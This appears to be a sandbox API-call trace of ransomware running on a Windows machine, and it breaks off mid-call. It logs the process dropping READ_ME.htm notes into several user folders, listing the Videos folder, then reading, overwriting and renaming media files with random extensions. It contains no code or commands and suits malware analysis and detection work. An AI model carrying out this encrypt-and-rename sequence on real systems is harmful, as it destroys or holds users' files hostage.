0x1 [0158.476] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Start Menu\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Start Menu\\READ_ME.htm", lpFilePart=0x0) returned 0x29 [0158.477] SetErrorMode (uMode=0x1) returned 0x0 [0158.477] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Start Menu\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\start menu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.478] GetFileType (hFile=0x1d0) returned 0x1 [0158.478] SetErrorMode (uMode=0x0) returned 0x1 [0158.479] GetFileType (hFile=0x1d0) returned 0x1 [0158.479] WriteFile (in: hFile=0x1d0, lpBuffer=0x2945100*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2945100*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0158.480] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Templates", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Templates", lpFilePart=0x0) returned 0x1c [0158.481] SetErrorMode (uMode=0x1) returned 0x0 [0158.481] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Templates\\*" (normalized: "c:\\users\\keecfmwgj\\templates\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0158.482] SetErrorMode (uMode=0x0) returned 0x1 [0158.483] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Templates\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Templates\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0158.483] SetErrorMode (uMode=0x1) returned 0x0 [0158.483] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Templates\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\templates\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0158.488] GetFileType (hFile=0x1d0) returned 0x1 [0158.488] SetErrorMode (uMode=0x0) returned 0x1 [0158.488] GetFileType (hFile=0x1d0) returned 0x1 [0158.489] WriteFile (in: hFile=0x1d0, lpBuffer=0x294aa58*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x294aa58*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0158.490] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0158.491] SetErrorMode (uMode=0x1) returned 0x0 [0158.491] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57ffcc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57ffcc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.491] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57ffcc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57ffcc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.491] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb968ac90, ftCreationTime.dwHighDateTime=0x1d8b87c, ftLastAccessTime.dwLowDateTime=0x6f5c4d90, ftLastAccessTime.dwHighDateTime=0x1d8ba80, ftLastWriteTime.dwLowDateTime=0x6f5c4d90, ftLastWriteTime.dwHighDateTime=0x1d8ba80, nFileSizeHigh=0x0, nFileSizeLow=0xf88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="6FunIlrRi.swf", cAlternateFileName="6FUNIL~1.SWF")) returned 1 [0158.491] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda640890, ftCreationTime.dwHighDateTime=0x1d8bc64, ftLastAccessTime.dwLowDateTime=0x8cffa570, ftLastAccessTime.dwHighDateTime=0x1d8bf9b, ftLastWriteTime.dwLowDateTime=0x8cffa570, ftLastWriteTime.dwHighDateTime=0x1d8bf9b, nFileSizeHigh=0x0, nFileSizeLow=0x903a, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Af6Yl_3rtjrz2wEmaF.avi", cAlternateFileName="9AF6YL~1.AVI")) returned 1 [0158.491] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c675710, ftCreationTime.dwHighDateTime=0x1d8bc5b, ftLastAccessTime.dwLowDateTime=0xa94135e0, ftLastAccessTime.dwHighDateTime=0x1d8bdd0, ftLastWriteTime.dwLowDateTime=0xa94135e0, ftLastWriteTime.dwHighDateTime=0x1d8bdd0, nFileSizeHigh=0x0, nFileSizeLow=0x95ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3cWOg.mkv", cAlternateFileName="")) returned 1 [0158.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798ad850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798ad850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7e35a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e241fa0, ftCreationTime.dwHighDateTime=0x1d8bf5e, ftLastAccessTime.dwLowDateTime=0xda511a50, ftLastAccessTime.dwHighDateTime=0x1d8c029, ftLastWriteTime.dwLowDateTime=0xda511a50, ftLastWriteTime.dwHighDateTime=0x1d8c029, nFileSizeHigh=0x0, nFileSizeLow=0xa31c, dwReserved0=0x0, dwReserved1=0x0, cFileName="intLE84qWnruN.swf", cAlternateFileName="INTLE8~1.SWF")) returned 1 [0158.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd01ef0, ftCreationTime.dwHighDateTime=0x1d8b919, ftLastAccessTime.dwLowDateTime=0x289b9fb0, ftLastAccessTime.dwHighDateTime=0x1d8bf0c, ftLastWriteTime.dwLowDateTime=0x289b9fb0, ftLastWriteTime.dwHighDateTime=0x1d8bf0c, nFileSizeHigh=0x0, nFileSizeLow=0x109f, dwReserved0=0x0, dwReserved1=0x0, cFileName="kTx8i.mp4", cAlternateFileName="")) returned 1 [0158.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf25d8f10, ftCreationTime.dwHighDateTime=0x1d8b5b7, ftLastAccessTime.dwLowDateTime=0xf3ad96e0, ftLastAccessTime.dwHighDateTime=0x1d8ba66, ftLastWriteTime.dwLowDateTime=0xf3ad96e0, ftLastWriteTime.dwHighDateTime=0x1d8ba66, nFileSizeHigh=0x0, nFileSizeLow=0x414d, dwReserved0=0x0, dwReserved1=0x0, cFileName="pemauptfrU7Jo3ZuJss.mkv", cAlternateFileName="PEMAUP~1.MKV")) returned 1 [0158.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57ffcc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x57ffcc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57ffcc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0158.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4327a1d0, ftCreationTime.dwHighDateTime=0x1d8b868, ftLastAccessTime.dwLowDateTime=0xbe4335e0, ftLastAccessTime.dwHighDateTime=0x1d8bb16, ftLastWriteTime.dwLowDateTime=0xbe4335e0, ftLastWriteTime.dwHighDateTime=0x1d8bb16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_6W_tOp4", cAlternateFileName="")) returned 1 [0158.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4327a1d0, ftCreationTime.dwHighDateTime=0x1d8b868, ftLastAccessTime.dwLowDateTime=0xbe4335e0, ftLastAccessTime.dwHighDateTime=0x1d8bb16, ftLastWriteTime.dwLowDateTime=0xbe4335e0, ftLastWriteTime.dwHighDateTime=0x1d8bb16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_6W_tOp4", cAlternateFileName="")) returned 0 [0158.492] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.493] SetErrorMode (uMode=0x0) returned 0x1 [0158.493] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0158.493] SetErrorMode (uMode=0x1) returned 0x0 [0158.493] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57ffcc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57ffcc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0158.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57ffcc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57ffcc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb968ac90, ftCreationTime.dwHighDateTime=0x1d8b87c, ftLastAccessTime.dwLowDateTime=0x6f5c4d90, ftLastAccessTime.dwHighDateTime=0x1d8ba80, ftLastWriteTime.dwLowDateTime=0x6f5c4d90, ftLastWriteTime.dwHighDateTime=0x1d8ba80, nFileSizeHigh=0x0, nFileSizeLow=0xf88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="6FunIlrRi.swf", cAlternateFileName="6FUNIL~1.SWF")) returned 1 [0158.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda640890, ftCreationTime.dwHighDateTime=0x1d8bc64, ftLastAccessTime.dwLowDateTime=0x8cffa570, ftLastAccessTime.dwHighDateTime=0x1d8bf9b, ftLastWriteTime.dwLowDateTime=0x8cffa570, ftLastWriteTime.dwHighDateTime=0x1d8bf9b, nFileSizeHigh=0x0, nFileSizeLow=0x903a, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Af6Yl_3rtjrz2wEmaF.avi", cAlternateFileName="9AF6YL~1.AVI")) returned 1 [0158.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c675710, ftCreationTime.dwHighDateTime=0x1d8bc5b, ftLastAccessTime.dwLowDateTime=0xa94135e0, ftLastAccessTime.dwHighDateTime=0x1d8bdd0, ftLastWriteTime.dwLowDateTime=0xa94135e0, ftLastWriteTime.dwHighDateTime=0x1d8bdd0, nFileSizeHigh=0x0, nFileSizeLow=0x95ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3cWOg.mkv", cAlternateFileName="")) returned 1 [0158.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798ad850, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798ad850, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7e35a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0158.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e241fa0, ftCreationTime.dwHighDateTime=0x1d8bf5e, ftLastAccessTime.dwLowDateTime=0xda511a50, ftLastAccessTime.dwHighDateTime=0x1d8c029, ftLastWriteTime.dwLowDateTime=0xda511a50, ftLastWriteTime.dwHighDateTime=0x1d8c029, nFileSizeHigh=0x0, nFileSizeLow=0xa31c, dwReserved0=0x0, dwReserved1=0x0, cFileName="intLE84qWnruN.swf", cAlternateFileName="INTLE8~1.SWF")) returned 1 [0158.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd01ef0, ftCreationTime.dwHighDateTime=0x1d8b919, ftLastAccessTime.dwLowDateTime=0x289b9fb0, ftLastAccessTime.dwHighDateTime=0x1d8bf0c, ftLastWriteTime.dwLowDateTime=0x289b9fb0, ftLastWriteTime.dwHighDateTime=0x1d8bf0c, nFileSizeHigh=0x0, nFileSizeLow=0x109f, dwReserved0=0x0, dwReserved1=0x0, cFileName="kTx8i.mp4", cAlternateFileName="")) returned 1 [0158.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf25d8f10, ftCreationTime.dwHighDateTime=0x1d8b5b7, ftLastAccessTime.dwLowDateTime=0xf3ad96e0, ftLastAccessTime.dwHighDateTime=0x1d8ba66, ftLastWriteTime.dwLowDateTime=0xf3ad96e0, ftLastWriteTime.dwHighDateTime=0x1d8ba66, nFileSizeHigh=0x0, nFileSizeLow=0x414d, dwReserved0=0x0, dwReserved1=0x0, cFileName="pemauptfrU7Jo3ZuJss.mkv", cAlternateFileName="PEMAUP~1.MKV")) returned 1 [0158.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57ffcc80, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x57ffcc80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57ffcc80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0158.494] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4327a1d0, ftCreationTime.dwHighDateTime=0x1d8b868, ftLastAccessTime.dwLowDateTime=0xbe4335e0, ftLastAccessTime.dwHighDateTime=0x1d8bb16, ftLastWriteTime.dwLowDateTime=0xbe4335e0, ftLastWriteTime.dwHighDateTime=0x1d8bb16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_6W_tOp4", cAlternateFileName="")) returned 1 [0158.495] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4327a1d0, ftCreationTime.dwHighDateTime=0x1d8b868, ftLastAccessTime.dwLowDateTime=0xbe4335e0, ftLastAccessTime.dwHighDateTime=0x1d8bb16, ftLastWriteTime.dwLowDateTime=0xbe4335e0, ftLastWriteTime.dwHighDateTime=0x1d8bb16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_6W_tOp4", cAlternateFileName="")) returned 0 [0158.495] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0158.495] SetErrorMode (uMode=0x0) returned 0x1 [0158.495] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi", lpFilePart=0x0) returned 0x31 [0158.495] SetErrorMode (uMode=0x1) returned 0x0 [0158.496] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\9af6yl_3rtjrz2wemaf.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.496] GetFileType (hFile=0x1d0) returned 0x1 [0158.496] SetErrorMode (uMode=0x0) returned 0x1 [0158.496] GetFileType (hFile=0x1d0) returned 0x1 [0158.496] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x903a [0158.496] ReadFile (in: hFile=0x1d0, lpBuffer=0x294e4e8, nNumberOfBytesToRead=0x903a, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x294e4e8*, lpNumberOfBytesRead=0x21d4d8*=0x903a, lpOverlapped=0x0) returned 1 [0158.497] CloseHandle (hObject=0x1d0) returned 1 [0158.574] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi", lpFilePart=0x0) returned 0x31 [0158.574] SetErrorMode (uMode=0x1) returned 0x0 [0158.575] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\9af6yl_3rtjrz2wemaf.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.576] GetFileType (hFile=0x1d0) returned 0x1 [0158.576] SetErrorMode (uMode=0x0) returned 0x1 [0158.576] GetFileType (hFile=0x1d0) returned 0x1 [0158.577] WriteFile (in: hFile=0x1d0, lpBuffer=0x2865318*, nNumberOfBytesToWrite=0x9040, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2865318*, lpNumberOfBytesWritten=0x21d558*=0x9040, lpOverlapped=0x0) returned 1 [0158.578] CloseHandle (hObject=0x1d0) returned 1 [0158.580] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi", lpFilePart=0x0) returned 0x31 [0158.581] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi.puq588", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi.puq588", lpFilePart=0x0) returned 0x38 [0158.581] SetErrorMode (uMode=0x1) returned 0x0 [0158.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\9af6yl_3rtjrz2wemaf.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda640890, ftCreationTime.dwHighDateTime=0x1d8bc64, ftLastAccessTime.dwLowDateTime=0x8cffa570, ftLastAccessTime.dwHighDateTime=0x1d8bf9b, ftLastWriteTime.dwLowDateTime=0x5afe4740, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x9040)) returned 1 [0158.581] SetErrorMode (uMode=0x0) returned 0x1 [0158.581] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\9af6yl_3rtjrz2wemaf.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\9Af6Yl_3rtjrz2wEmaF.avi.puq588" (normalized: "c:\\users\\keecfmwgj\\videos\\9af6yl_3rtjrz2wemaf.avi.puq588")) returned 1 [0158.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4", lpFilePart=0x0) returned 0x23 [0158.583] SetErrorMode (uMode=0x1) returned 0x0 [0158.583] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\ktx8i.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.583] GetFileType (hFile=0x1d0) returned 0x1 [0158.583] SetErrorMode (uMode=0x0) returned 0x1 [0158.583] GetFileType (hFile=0x1d0) returned 0x1 [0158.583] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x109f [0158.583] ReadFile (in: hFile=0x1d0, lpBuffer=0x286f388, nNumberOfBytesToRead=0x109f, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x286f388*, lpNumberOfBytesRead=0x21d4d8*=0x109f, lpOverlapped=0x0) returned 1 [0158.585] CloseHandle (hObject=0x1d0) returned 1 [0158.649] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4", lpFilePart=0x0) returned 0x23 [0158.649] SetErrorMode (uMode=0x1) returned 0x0 [0158.649] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\ktx8i.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0158.651] GetFileType (hFile=0x1d0) returned 0x1 [0158.651] SetErrorMode (uMode=0x0) returned 0x1 [0158.651] GetFileType (hFile=0x1d0) returned 0x1 [0158.651] WriteFile (in: hFile=0x1d0, lpBuffer=0x29544c8*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x29544c8*, lpNumberOfBytesWritten=0x21d558*=0x10a0, lpOverlapped=0x0) returned 1 [0158.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4", lpFilePart=0x0) returned 0x23 [0158.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4.423c8e", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4.423c8e", lpFilePart=0x0) returned 0x2a [0158.653] SetErrorMode (uMode=0x1) returned 0x0 [0158.653] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\ktx8i.mp4"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd01ef0, ftCreationTime.dwHighDateTime=0x1d8b919, ftLastAccessTime.dwLowDateTime=0x289b9fb0, ftLastAccessTime.dwHighDateTime=0x1d8bf0c, ftLastWriteTime.dwLowDateTime=0x5b07ccc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x10a0)) returned 1 [0158.653] SetErrorMode (uMode=0x0) returned 0x1 [0158.654] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\ktx8i.mp4"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\kTx8i.mp4.423c8e" (normalized: "c:\\users\\keecfmwgj\\videos\\ktx8i.mp4.423c8e")) returned 1 [0158.655] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4", nBufferLength=0x105, lpBuffer=0x21d050, 